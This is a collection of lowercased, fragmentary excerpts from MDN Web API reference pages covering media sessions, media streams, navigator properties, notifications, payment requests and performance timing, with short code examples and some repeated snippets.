...ryselector('#errormsg'); navigator.mediadevices.getusermedia(constraints) .then(function(stream) { var videotracks = stream.getvideotracks(); console.log('got stream with constraints:', constraints); console.log('using video device: ' + videotracks[0].label); stream.onremovetrack = function() { console.log('stream ended'); }; window.stream = stream; // make variable available to browser console video.srcobject = stream; }) .catch(function(error) { if (error.name === 'constraintnotsatisfiederror') { errormsg('the resolution ' + constraints.video.width.exact + 'x' + constraints.video.height.exact + ' px is not supported by your device.'); } else if (error.name === 'permissiondeniederror') { errormsg('permissions have not been granted to use your camera and ...
MediaPositionState.duration - Web APIs
the mediapositionstate dictionary's duration property is used when calling the mediasession method setpositionstate() to provide the user agent with the overall total duration in seconds of the media currently being performed. this information can then, in turn, be used by the user agent to provide a user interface which displays media playback information to the viewer. for example, a browser might use this information along with the position property and the navigator.mediasession.playbackstate, as well as the session's metadata to provide an integrated common user interface showing the currently playing media as well as standard pause, play, forward, reverse, and other controls. syntax let positionstate = { duration: durationinseconds }; let durationinseconds = positionstate.duration; ...
...conds = positionstate.duration; value a floating-point value indicating the overall duration, in seconds, of the media being performed. this value should always be positive. to indicate media of unknown or indeterminate length, such as an ongoing live stream, specify a value of positive infinity (infinity). example in this example, an app performing a live stream provides information to the browser by preparing a mediapositionstate object and submitting it by calling navigator.mediasession.setpositionstate(). let positionstate = { duration: infinity; playbackrate: 1.0; position: 0.0; }; navigator.mediasession.setpositionstate(positionstate); specifications specification status comment media session standardthe definition of 'mediapositionstate.durati...
MediaPositionState.playbackRate - Web APIs
the mediapositionstate dictionary's playbackrate property is used when calling the mediasession method setpositionstate() to tell the user agent the rate at which media is currently being played. this information can then, in turn, be used by the user agent to provide a user interface which displays media playback information to the viewer. for example, a browser might use this information along with the position property and the navigator.mediasession.playbackstate, as well as the session's metadata to provide an integrated common user interface showing the currently playing media as well as standard pause, play, forward, reverse, and other controls. syntax let positionstate = { playbackrate: rate }; let playbackrate = positionstate.playbackrate; value a floating-point value specifyin...
...ormal speed, while higher values indicate that the media is being played faster than normal. lower values indicate the media is being played more slowly. negative values can be specified to indicate the media is playing in reverse, with decreasing values then indicating faster and faster reverse playback. note: a value of 0.0 is not permitted. example in this example, an app is updating the browser to let it know that the user has clicked a button causing the playback to shift to a double-speed mode. it begins by creating a mediapositionstate object, then submits it to the browser it by calling navigator.mediasession.setpositionstate(). let positionstate = { duration: mymediaduration; playbackrate: 2.0; position: mymediaposition; }; navigator.mediasession.setpositionstate(position...
MediaSession.playbackState - Web APIs
the playbackstate property of the mediasession interface indicates whether the current media session is playing or paused. syntax let playbackstate = mediasession.playbackstate; mediasession.playbackstate = playbackstate; value a domstring indicating the current playback state of the media session. the value may be one of the following: none the browsing context doesn't currently know the current playback state, or the playback state is not available at this time. paused the browser's media session is currently paused. playback may be resumed. playing the browser's media session is currently playing media, which can be paused. example the following example sets up event handlers, for pausing and playing: var audio = document.queryselector("#player"); audio.src = "song.mp3"; n...
...ionhandler('pause', pause); function play() { audio.play(); navigator.mediasession.playbackstate = "playing"; } function pause() { audio.pause(); navigator.mediasession.playbackstate = "paused"; } specifications specification status comment media session standardthe definition of 'playbackstate' in that specification. draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetplaybackstate experimen...
Media Session action types - Web APIs
ecifies the amount of time to seek forward. seekto moves the playback position to the specified time within the media. the time to which to seek is specified in the mediasessionactiondetails property seektime. if you intend to perform multiple seekto operations in rapid succession, you can also specify the mediasessionactiondetails property fastseek property with a value of true. this lets the browser know it can take steps to optimize repeated operations, and is likely to result in improved performance. skipad skips past the currently playing advertisement or commercial. this action may or may not be available, depending on the platform and user agent, or may be disabled due to subscription level or other circumstances. stop halts playback entirely. description a media session action...
...ad skips past the currently playing advertisement or commercial. this action may or may not be available, depending on the platform and user agent, or may be disabled due to subscription level or other circumstances. stop halts playback entirely. description a media session action may be generated by any media session action source; these sources include anything from ui widgets within the browser itself to media control keys on the user's keyboard to buttons on the user's headset or earbuds. examples adding action handlers this example implements seek forward and backward actions for an audio player by setting up the seekforward and seekbackward action handlers. let skiptime = 10; // time to skip in seconds navigator.mediasession.setactionhandler('seekforward', evt => { // user cl...
MediaSessionActionDetails - Web APIs
ecifies the amount of time to seek forward. seekto moves the playback position to the specified time within the media. the time to which to seek is specified in the mediasessionactiondetails property seektime. if you intend to perform multiple seekto operations in rapid succession, you can also specify the mediasessionactiondetails property fastseek property with a value of true. this lets the browser know it can take steps to optimize repeated operations, and is likely to result in improved performance. skipad skips past the currently playing advertisement or commercial. this action may or may not be available, depending on the platform and user agent, or may be disabled due to subscription level or other circumstances. stop halts playback entirely. description a media session action...
...ad skips past the currently playing advertisement or commercial. this action may or may not be available, depending on the platform and user agent, or may be disabled due to subscription level or other circumstances. stop halts playback entirely. description a media session action may be generated by any media session action source; these sources include anything from ui widgets within the browser itself to media control keys on the user's keyboard to buttons on the user's headset or earbuds. examples adding action handlers this example implements seek forward and backward actions for an audio player by setting up the seekforward and seekbackward action handlers. let skiptime = 10; // time to skip in seconds navigator.mediasession.setactionhandler('seekforward', evt => { // user cl...
MediaStream - Web APIs
lready been added to the mediastream object, nothing happens. mediastream.clone() returns a clone of the mediastream object. the clone will, however, have a unique value for id. mediastream.getaudiotracks() returns a list of the mediastreamtrack objects stored in the mediastream object that have their kind attribute set to audio. the order is not defined, and may not only vary from one browser to another, but also from one call to another. mediastream.gettrackbyid() returns the track whose id corresponds to the one given in parameters, trackid. if no parameter is given, or if no track with that id does exist, it returns null. if several tracks have the same id, it returns the first one. mediastream.gettracks() returns a list of all mediastreamtrack objects stored in the medias...
...s to the one given in parameters, trackid. if no parameter is given, or if no track with that id does exist, it returns null. if several tracks have the same id, it returns the first one. mediastream.gettracks() returns a list of all mediastreamtrack objects stored in the mediastream object, regardless of the value of the kind attribute. the order is not defined, and may not only vary from one browser to another, but also from one call to another. mediastream.getvideotracks() returns a list of the mediastreamtrack objects stored in the mediastream object that have their kind attribute set to "video". the order is not defined, and may not only vary from one browser to another, but also from one call to another. mediastream.removetrack() removes the mediastreamtrack given as argument...
MediaStreamAudioSourceNode - Web APIs
al order, for ids which are simple alphanumeric strings). the first track, then, is the track whose id comes first when the tracks' ids are all sorted by unicode code point. however, it's important to note that the rule establishing this ordering was added long after this interface was first introduced into the web audio api. as such, you can't easily rely on the order matching between any two browsers or browser versions. this is why it is typically wiser to use mediastreamtrackaudiosourcenode, which provides similar capabilities but was better-defined upon being added to the specification, so it's more reliable. example in this example, we grab a media (audio + video) stream from navigator.getusermedia, feed the media into a <video> element to play then mute the audio, but then also feed...
...so playing/pausing the stream can still be done through the media element api and the player controls. specification specification status co...
MediaTrackSupportedConstraints.autoGainControl - Web APIs
returned by mediadevices.getsupportedconstraints() if and only if the user agent supports the autogaincontrol constraint. if the constraint isn't supported, it's not included in the list, so this value will never be false. you can access the supported constraints dictionary by calling navigator.mediadevices.getsupportedconstraints(). the autogaincontrol constraint indicates whether or not the browser offers the ability to automatically control the gain (volume) on media tracks; this obviously is contingent on whether or not the individual device supports automatic gain control as well; it's typically a feature provided by microphones. syntax autogainsupported = supportedconstraintsdictionary.autogaincontrol; value this property is present in the dictionary (and its value is always true)...
...tedconstraintsdictionary.autogaincontrol; value this property is present in the dictionary (and its value is always true) if the user agent supports the autogaincontrol constraint. if the property isn't present, this property is missing from the supported constraints dictionary, and you'll get undefined if you try to look at its value. example this example simply displays whether or not your browser supports the autogaincontrol constraint. html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().autogaincontrol) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specificatio...
MediaTrackSupportedConstraints.cursor - Web APIs
navigator.mediadevices.getsupportedconstraints(). syntax iscursorsupported = supportedconstraints.cursor; value a boolean value which is true if the cursor constraint is supported by the device and user agent. example this method sets up the constraints object specifying the options for the call to getdisplaymedia(). ...
...rsor constraint only if it is known to be supported by the browser. capturing is then started by calling getdisplaymedia() and attaching the returned stream to the video element referenced by the variable videoelem. ...
MediaTrackSupportedConstraints.frameRate - Web APIs
ramerateconstraintsupported = supportedconstraintsdictionary.framerate; value this property is present in the dictionary if the user agent supports the framerate constraint. if the property isn't present, the user agent doesn't allow specifying limits on the frame rate for video tracks. if this property is present, its value is always true. example this simple example looks to see if your browser supports constraining the frame rate when requesting video tracks. javascript let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().framerate) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } html <div id="result"> </div> css #result { font: 14px "arial", sans-serif; } result the output, sh...
...straining the frame rate when requesting video tracks. javascript let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().framerate) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } html <div id="result"> </div> css #result { font: 14px "arial", sans-serif; } result the output, showing if your browser supports the framerate constraint, is: while this example is trivial, you can replace the simple output of "supported" vs. "not supported" with code to provide alternative methods for presenting the audiovisual information you want to share with the user or otherwise work with. specifications specification status comment media capture and streamsthe definition o...
MediaTrackSupportedConstraints.noiseSuppression - Web APIs
eturned by mediadevices.getsupportedconstraints() if and only if the user agent supports the noisesuppression constraint. if the constraint isn't supported, it's not included in the list, so this value will never be false. you can access the supported constraints dictionary by calling navigator.mediadevices.getsupportedconstraints(). the noisesuppression constraint indicates whether or not the browser offers the ability to automatically control the gain (volume) on media tracks; this obviously is contingent on whether or not the individual device supports automatic gain control as well. syntax noisesuppressionsupported = supportedconstraintsdictionary.noisesuppression; value this property is present in the dictionary (and its value is always true) if the user agent supports the noisesupp...
...rty is present in the dictionary (and its value is always true) if the user agent supports the noisesuppression constraint (and therefore supports noise suppression on audio tracks). if the property isn't present, this property is missing from the supported constraints dictionary, and you'll get undefined if you try to look at its value. example this example simply displays whether or not your browser supports the noisesuppression constraint. html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().noisesuppression) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specificat...
Microdata DOM API - Web APIs
you can't use them anymore and this document is kept as information only. microdata becomes even more useful when scripts can use it to expose information to the user, for example offering it in a form that can be used by other applications. the document.getitems(typenames) method provides access to the top-level microdata items. it returns a nodelist containing the items with the specified types, or all types if no argument is specified. each item is represented in the dom by the element on which the relevant itemscope attribute is found. ...
...object again with the same argument, the user agent may return the same object as the object returned by the earlier call. in other cases, a new nodelist object must be returned. properties element . itemvalue [ = value ] returns the element's value. can be set, to change the element's value. setting the value when the element has no itemprop attribute or when the element's value is an item throws an invalidaccesserror exception. element . properties if the element has an itemscope attribute, returns an htmlpropertiescollection object with all the element's properties. otherwise, an empty htmlpropertiescollection object. code example this sample shows how the getitems() method can be used to obtain a list of all the top-level microdata items of a particular type given in the document: ...
MimeTypeArray - Web APIs
this object is returned by navigatorplugins.mimetypes. properties mimetypearray.length the number of items in the array. methods mimetypearray.item() returns the mimetype object with the specified index. mimetypearray.nameditem() returns the mimetype object with the specified name. example the following example tests whether a plugin is available for the application/pdf mime type and if so, which plugin that is. ...
...ble for the application/pdf mime type and if so, which plugin that is. var mimetypes = navigator.mimetype; var flashplugin = mimetypes['video/x-flv']; if (typeof flashplugin === "undefined") { var vid = document.createelement('video'); // use vid.canplaytype() to test for a supported mime type. } else { // notify the user that flash is being deprecated and they // should upgrade their browser. } specifications specification status comment html living standardthe definition of 'mimetypearray' in that specification. living standard initial definition. ...
Using Navigation Timing - Web APIs
it also offers the advantage of being able to provide timing information as perceived by the user rather than data that has no correlation to what the user experiences. ...
...= "unknown"; break; } output += "<br/>redirects: " + performance.navigation.redirectcount; document.queryselector(".output").innerhtml = output; }, false); this amends the previous example by looking at the contents of the performance.navigation object. performance.navigation.type indicates what kind of load operation took place: a navigation, a reload, or a shift through the browser's history. we also obtain the number of redirects that were incurred during the navigation from performance.navigation.redirectcount. this information is output to the screen just like the page load time was previously: by inserting it into the element with class "output". html <div class="output"> </div> css .output { border: 1px solid #bbb; font: 16px "open sans", "helvetica", "arial...
Navigator.cookieEnabled - Web APIs
navigator.cookieenabled returns a boolean value that indicates whether cookies are enabled or not. the property is read-only. syntax var cookieenabled = navigator.cookieenabled; cookieenabled is a boolean: true or false. note: when the browser is configured to block third-party cookies, and navigator.cookieenabled is invoked inside a third-party iframe, it returns true in safari, edge spartan and ie (while trying to set a cookie in such scenario would fail). it returns false in firefox and chromium-based browsers. note: web browsers may prevent writing certain cookies in certain scenarios. for example, chrome 80+ does not allow creating cookies with samesite=none attribute, unless they are created over https and with secure attribute. example if (!navigator.cookieenabled) { // th...
...d ie (while trying to set a cookie in such scenario would fail). it returns false in firefox and chromium-based browsers. note: web browsers may prevent writing certain cookies in certain scenarios. for example, chrome 80+ does not allow creating cookies with samesite=none attribute, unless they are created over https and with secure attribute. example if (!navigator.cookieenabled) { // the browser does not support or is blocking cookies from being set. } specifications specification status comment html living standardthe definition of 'navigator.cookieenabled' in that specification. living standard initial definition ...
Navigator.getBattery() - Web APIs
the getbattery() method provides information about the system's battery. it returns a battery promise, which is resolved in a batterymanager object providing also some new events you can handle to monitor the battery status. this implements the battery status api; see that documentation for additional details, a guide to using the api, and sample code. note: in some browsers access to this feature is controlled by feature-policy directive battery. syntax var batterypromise = navigator.getbattery(); return value a promise which, when resolved, calls its fulfillment handler with a single parameter: a batterymanager object which you can use to get information about the battery's state. exceptions this method doesn't throw true exceptions; instead, it rejects the returned promise, pass...
...tions; instead, it rejects the returned promise, passing into it a domexception whose name is one of the following: securityerror the user agent does not expose battery information to insecure contexts and this method was called from insecure context. note: old versions of some user agents might allow use of this feature in insecure contexts. notallowederror note: no user agent currently throws this exception, but the specification describes the following behaviors: this document is not allowed to use this feature. for example, it might not be explicitly allowed or restricted via feature-policy battery feature. example this example fetches the current charging state of the battery and establishes a handler for the chargingchange event, so that the charging state is recorded whenever...
Navigator.oscpu - Web APIs
Web › API › Navigator › oscpu
the navigator.oscpu property returns a string that identifies the current operating system. syntax oscpuinfo = navigator.oscpu value a domstring providing a string which identifies the operating system on which the browser is running. operating system oscpuinfo string format os/2 os/2 warp x (either 3, 4 or 4.5) windows ce windowsce x.y1 windows 64-bit (64-bit build) windows nt x.y; win64; x64 windows 64-bit (32-bit build) windows nt x.y; wow64 windows 32-bit windows nt x.y mac os x (ppc build) powerpc mac os x version x.y mac os x (i386/x64 build) intel mac os x or macos version x.y linux 64-bit (32-bit build) output of uname -s plus "i686 on x86_64" linux output of u...
... specifications specification status comment html living standardthe definition of 'navigatorid: oscpu' in that specification. living standard initial definition ...
navigator.hardwareConcurrency - Web APIs
their cpu (two or four cores is typical), but each physical core is also usually able to run more than one thread at a time using advanced scheduling techniques. so a four-core cpu may offer eight logical processor cores, for example. the number of logical processor cores can be used to measure the number of threads which can effectively be run at once without them having to context switch. ...
...this creates a pool of workers we can use to process requests later. ...
NavigatorID.appCodeName - Web APIs
syntax codename = navigator.appcodename value the string "mozilla". ...
... syntax codename = navigator.appcodename value the string "mozilla". ...
NavigatorID.appVersion - Web APIs
returns either "4.0" or a string representing version information about the browser. note: do not rely on this property to return the correct browser version. syntax window.navigator.appversion value either "4.0" or a string representing version information about the browser. example alert('your browser version is reported as ' + navigator.appversion); notes the window.navigator.useragent property may also contain the version number (for example "mozilla/5.0 (windows; u; win98; en-us; rv:0.9.2) gecko/20010725 netscape 6/6.1"), but you should be aware of how easy it is to change the user agent string and "spoof" other browsers, platforms, or user agents, and also how cavalier the browser vendor themselves are with these properties. the window.navigator.appversion, window.navigator.
... (windows; u; win98; en-us; rv:0.9.2) gecko/20010725 netscape 6/6.1"), but you should be aware of how easy it is to change the user agent string and "spoof" other browsers, platforms, or user agents, and also how cavalier the browser vendor themselves are with these properties. the window.navigator.appversion, window.navigator.appname and window.navigator.useragent properties have been used in "browser sniffing" code: scripts that attempt to find out what kind of browser you are using and adjust pages accordingly. this lead to the current situation, where browsers had to return fake values from these properties in order not to be locked out of some websites. specifications specification status comment html living standardthe definition of 'navigatorid.appversion'...
NavigatorID.product - Web APIs
syntax productname = navigator.product value the string "gecko". ...
... syntax productname = navigator.product value the string "gecko". ...
NavigatorID - Web APIs
the navigatorid interface contains methods and properties related to the identity of the browser. there is no object of type navigatorid, but other interfaces, like navigator or workernavigator, implement it. properties the navigatorid interface doesn't inherit any properties. navigatorid.appcodename read only always returns "mozilla", in any browser. this property is kept only for compatibility purposes. navigatorid.appname read only always returns "netscape", in any browser. this property is kept only for compatibility purposes. navigatorid.appversion read only returns either "4.0" or a string representing version information about the browser. do not rely on this property to return a useful value. navigatorid.platform read only returns either the empty string or a string ...
...ame read only always returns "netscape", in any browser. this property is kept only for compatibility purposes. navigatorid.appversion read only returns either "4.0" or a string representing version information about the browser. do not rely on this property to return a useful value. navigatorid.platform read only returns either the empty string or a string representing the platform the browser is running on. do not rely on this property to return a useful value. navigatorid.product read only always returns "gecko", in any browser. this property is kept only for compatibility purposes. navigatorid.useragent read only returns the user-agent string for the current browser. methods the navigatorid interface doesn't inherit any methods. navigatorid.taintenabled() always ret...
NavigatorOnLine - Web APIs
methods the navigatoronline interface neither implements, nor inherit any method. ...
... methods the navigatoronline interface neither implements, nor inherit any method. ...
NavigatorPlugins.mimeTypes - Web APIs
syntax var mimetypes[] = navigator.mimetypes; mimetypes is a mimetypearray object which has a length property as well as item(index) and nameditem(name) methods. ...
... syntax var mimetypes[] = navigator.mimetypes; mimetypes is a mimetypearray object which has a length property as well as item(index) and nameditem(name) methods. ...
NavigatorStorage.storage - Web APIs
syntax var storagemanager = navigator.storage; value a storagemanager object you can use to maintain persistence for stored data, as well as to determine roughly how much room there is for data to be stored. ...
... syntax var storagemanager = navigator.storage; value a storagemanager object you can use to maintain persistence for stored data, as well as to determine roughly how much room there is for data to be stored. ...
Node.baseURI - Web APIs
Web › API › Node › baseURI
in most cases the base url is simply the location of the document, but it can be affected by many factors, including the <base> element in html and the xml:base attribute in xml. syntax var nodebaseuri = node.baseuri; value a domstring representing the base url of the specified node. it may be null if unable to obtain an absolute uri. ...
...ase attribute in xml. syntax var nodebaseuri = node.baseuri; value a domstring representing the base url of the specified node. it may be null if unable to obtain an absolute uri. although this property is read-only, its value may change in certain situations (see below). details the base url of a document the base url of a document defaults to the document's address (as displayed by the browser and available in window.location), but it can be changed: when an html <base> tag is found in the document when the document is new (created dynamically) see the base urls section of the html living standard for details. you can use document.baseuri to obtain the base url of a document. note that obtaining the base url for a document may return different urls over time if the <base> tags...
NodeList - Web APIs
Web › API › NodeList
this can be circumvented by using array.prototype.foreach() — see this document's example. live vs. ...
...also enumerate its length and item properties and cause errors if your script assumes it only has to deal with element objects. also, for..in is not guaranteed to visit the properties in any particular order. for...of loops will loop over nodelist objects correctly: const list = document.queryselectorall('input[type=checkbox]'); for (let checkbox of list) { checkbox.checked = true; } recent browsers also support iterator methods (foreach()) as well as entries(), values(), and keys(). there is also an internet explorer-compatible way to use array.prototype.foreach for iteration: const list = document.queryselectorall('input[type=checkbox]'); array.prototype.foreach.call(list, function (checkbox) { checkbox.checked = true; }); specifications specification status comment...
Notification.onclick - Web APIs
note: this feature is available in web workers. the onclick property of the notification interface specifies an event listener to receive click events. these events occur when the user clicks on a displayed notification. syntax notification.onclick = function(event) { ... }; the default behavior is to move the focus to the viewport of the notification's related browsing context. ...
... viewport of the notification's related browsing context. if you don't want that behaviour, call preventdefault() on the event object. examples in the following example, we use an onclick handler to open a webpage in a new tab (specified by the inclusion of the '_blank' parameter) once a notification is clicked: notification.onclick = function(event) { event.preventdefault(); // prevent the browser from focusing the notification's tab window.open('http://www.mozilla.org', '_blank'); } specifications specification status comment notifications apithe definition of 'onclick' in that specification. living standard living standard. ...
Notification.permission - Web APIs
unknown; in this case the application will act as if permission was denied. examples the following snippet could be used if you wanted to first check whether notifications are supported, then check if permission has been granted for the current origin to send notifications, then request permission if required, before then sending a notification. ...
...he following snippet could be used if you wanted to first check whether notifications are supported, then check if permission has been granted for the current origin to send notifications, then request permission if required, before then sending a notification. ...
NotificationEvent - Web APIs
otificationevent.action read only returns the string id of the notification button the user clicked. this value returns an empty string if the user clicked the notification somewhere other than an action button, or the notification does not have a button. methods inherits methods from its parent, extendableevent. extendableevent.waituntil() extends the lifetime of the event. tells the browser that work is ongoing. example self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.
...cus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment notifications apithe definition of 'notificationevent' in that specification. living standard living standard. note: this interface is specified in the notifications api, but accessed through serviceworkerglobalscope. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnotificationevent exper...
Notifications API - Web APIs
the api is designed to be compatible with existing notification systems, across different platforms. concepts and usage on supported platforms, showing a system notification generally involves two things. ...
...es, using the notification.requestpermission() method. this should be done in response to a user gesture, such as clicking a button, for example: btn.addeventlistener('click', function() { let promise = notification.requestpermission(); // wait for permission }) this is not only best practice — you should not be spamming users with notifications they didn't agree to — but going forward browsers will explicitly disallow notifications not triggered in response to a user gesture. firefox is already doing this from version 72, for example. this will spawn a request dialog, along the following lines: from here the user can choose to allow notifications from this origin, or block them. once a choice has been made, the setting will generally persist for the current session. note: as o...
OVR_multiview2 - Web APIs
the ovr_multiview2 extension is part of the webgl api and adds support for rendering into multiple views simultaneously. this especially useful for virtual reality (vr) and webxr. for more information, see also: multiview on webxr three.js multiview demo multiview in babylon.js optimizing virtual reality: understanding multiview multiview webgl rendering for oculus browser 6.0+ webgl extensions are available using the webglrenderingcontext.getextension() method. for more information, see also using extensions in the webgl tutorial. availability: support depends on the system's graphics driver (windows+angle and android are supported; windows+gl, mac, linux are not supported). this extension is only available to webgl 2 contexts as it needs glsl 3.00 and texture arrays. currently...
...ailability: support depends on the system's graphics driver (windows+angle and android are supported; windows+gl, mac, linux are not supported). this extension is only available to webgl 2 contexts as it needs glsl 3.00 and texture arrays. currently, there is no way to use multiview to render to a multisampled backbuffer, so you should create contexts with antialias: false. however, the oculus browser (6+) also supports multisampling using the oculus_multiview extension. see also this webgl issue. constants this extension exposes 4 constants that can be used in getparameter() or getframebufferattachmentparameter(). framebuffer_attachment_texture_num_views_ovr number of views of the framebuffer object attachment. framebuffer_attachment_texture_base_view_index_ovr base view index of t...
OffscreenCanvas.getContext() - Web APIs
ibutes); parameters contexttype is a domstring containing the context identifier defining the drawing context associated to the canvas. possible values are: "2d" creates a canvasrenderingcontext2d object representing a two-dimensional rendering context. "webgl" creates a webglrenderingcontext object representing a three-dimensional rendering context. this context is only available on browsers that implement webgl version 1 (opengl es 2.0). "webgl2" creates a webgl2renderingcontext object representing a three-dimensional rendering context. this context is only available on browsers that implement webgl version 2 (opengl es 3.0). "bitmaprenderer" creates a imagebitmaprenderingcontext which only provides functionality to replace the content of the canvas with a given imagebi...
...ies webgl implementations under certain conformance rules. contextattributes you can use several context attributes when creating your rendering context, for example: offscreen.getcontext("webgl", { antialias: false, depth: false }); 2d context attributes: alpha: boolean that indicates if the canvas contains an alpha channel. if set to false, the browser now knows that the backdrop is always opaque, which can speed up drawing of transparent content and images then. (gecko only) willreadfrequently: boolean that indicates whether or not a lot of read-back operations are planned. this will force the use of a software (instead of hardware accelerated) 2d canvas and can save memory when calling getimagedata() frequently. this option is only avai...
PasswordCredential - Web APIs
syntax var mycredential = new passwordcredential(passwordcredentialdata) var mycredential = new passwordcredential(htmlformelement) parameters either of the following: passwordcredentialdata a passwordcredentialdata dictionary containing the following fields: iconurl: (optional) the url of a user's avatar image. id: the id of the user signing in. name: (optional) the name of the user signing in. password: the password of the user signing in. ...
...wordcredential object. starting with the form element. <form id="form" method="post"> <input type="text" name="id" autocomplete="username" /> <input type="password" name="password" autocomplete="current-password" /> <input type="hidden" name="csrf_token" value="*****" /> </form> then, a reference to this form element, using it to create a passwordcredential object, and storing it in the browser's password system. var form = document.queryselector('#form'); var creds = new passwordcredential(form); // store the credentials. navigator.credentials.store(creds) .then(function(creds) { // do something with the credentials if you need to. }); specifications specification status comment credential management level 1 working draft initial definition. ...
PaymentAddress - Web APIs
ivision name (e.g. "qld" for queensland, australia, "ca" for california, and so on). paymentaddress.sortingcode read only a domstring providing a postal sorting code such as is used in france. note: properties for which values were not specified contain empty strings. obsolete properties the following properties are obsolete and should no longer be used, but may still be present in some browser versions. paymentaddress.languagecode read only a domstring indicating the language code of the address. this identifies the language in which the address is given, and is intended to aid in localization of the display of the address. methods paymentaddress.tojson() a standard serializer that returns a json representation of the paymentaddress object's properties. examples in th...
..., ], shippingoptions: [ { id: "standard", label: "standard shipping", amount: { currency: "usd", value: "0.00" }, selected: true, }, ], }; const options = { requestshipping: true }; async function dopaymentrequest() { const request = new paymentrequest(supportedinstruments, details, options); // add event listeners here. // call show() to trigger the browser's payment flow. const response = await request.show(); // process payment. const json = response.tojson(); const httpresponse = await fetch("/pay/", { method: "post", body: json }); const result = httpresponse.ok ? "success" : "failure"; await response.complete(result); } dopaymentrequest(); once the payment flow has been triggered using paymentrequest.show() and the promise reso...
PaymentRequest.prototype.id - Web APIs
Web › API › PaymentRequest › id
example this example shows how to give a paymentrequest instance a custom id. ...
...questid === request.id); // and in serialized form too const json = response.tojson(); console.log(json.requestid,response.requestid, request.id); syntax var id = paymentrequest.id value a domstring. specifications specification status comment payment request apithe definition of 'id' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidchrome ...
PaymentRequest.show() - Web APIs
documents. once one paymentrequest's show() method has been called, any other call to show() will by rejected with an aborterror until the returned promise has been concluded, either by being fulfilled with a paymentresponse indicating the results of the payment request, or by being rejected with an error. note: in reality, despite the fact that the specification says this can't be done, some browsers, including firefox, support multiple active payment requests at a time. if your architecture doesn't necessarily have all of the data ready to go at the moment it instantiates the payment interface by calling show(), specify the detailspromise parameter, providing a promise that is fulfilled once the data is ready. if this is provided, show() will not allow the user to interact with the paym...
...s details need to be updated between instantiating the payment interface and the user beginning to interact with it. the promise should resolve with a paymentdetailsupdate object containing the updated information. return value a promise that eventually resolves with a paymentresponse. the promise is resolved when the user accepts the payment request (such as by clicking a "pay" button in the browser's payment sheet). exceptions aborterror the returned promise rejects with an aborterror if the user agent is already showing a payment panel. only one payment panel may be visible at a time across all documents loaded by the user agent. the promise is also rejected with aborterror if the user cancels the payment request. invalidstateerror the promise rejects with an invalidstateerr...
PaymentResponse.complete() - Web APIs
user agent, depending on its design. unknown the success or failure status of the transaction is unknown or irrelevant, and the user agent should not present any notification, even if it normally would. this is the default value. note: in older versions of the specification, an empty string, "", was used instead of unknown to indicate a completion without a known result state. see the browser compatibility section below for details. return value a promise which resolves with no input value once the payment interface has been fully closed. if an error occurs, the promise instead rejects, returning one of the exceptions listed below. exceptions aborterror the document in which the payment request is taking place became inactive while the user interface was shown. invalids...
...mplete("fail"); }; }).catch( reason => { paymentresponse.complete("fail"); }); }).catch(function(err) { console.error("uh oh, something bad happened", err.message); }); specifications specification status comment payment request apithe definition of 'paymentresponse: complete' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcomplete()chrome ...
Using the Payment Request API - Web APIs
this article is a guide to making use of the payment request api, with examples and suggested best practices. the basics of making a payment this section details the basics of using the payment request api to make a payment. note: the code snippets from this section are from our feature detect support demo. creating a new payment request object a payment request always starts with the creation of a new paymentrequest object — using the paymentrequest() constructor. ...
...yment. paymentresponse.complete('success') .then(function() { // finish handling payment }); }) } }) paymentrequest.abort() can be used to abort the payment request if required. detecting availability of the payment request api you can effectively detect support for the payment request api by checking if the user's browser supports paymentrequest, i.e. if (window.paymentrequest). in the following snippet, a merchant page performs this check, and if it returns true updates the checkout button to use paymentrequest instead of legacy web forms. const checkoutbutton = document.getelementbyid('checkout-button'); if (window.paymentrequest) { let request = new paymentrequest(buildsupportedpaymentmethodnames(), ...
performance.clearResourceTimings() - Web APIs
the clearresourcetimings() method removes all performance entries with an entrytype of "resource" from the browser's performance data buffer and sets the size of the performance data buffer to zero. to set the size of the browser's performance data buffer, use the performance.setresourcetimingbuffersize() method. note: this feature is available in web workers. syntax performance.clearresourcetimings(); arguments void return value none this method has no return value. ...
...ote: this feature is available in web workers. syntax performance.clearresourcetimings(); arguments void return value none this method has no return value. ...
performance.measure() - Web APIs
when measuring between two marks, there is a start mark and end mark, respectively. the named timestamp is referred to as a measure. the measure can be retrieved by one of the performance interfaces: (getentries(), getentriesbyname() or getentriesbytype()). the measure's performance entry will have the following property values: entrytype - set to "measure". name - set to the "name" given when the measure was created. starttime - set to the start mark timestamp. ...
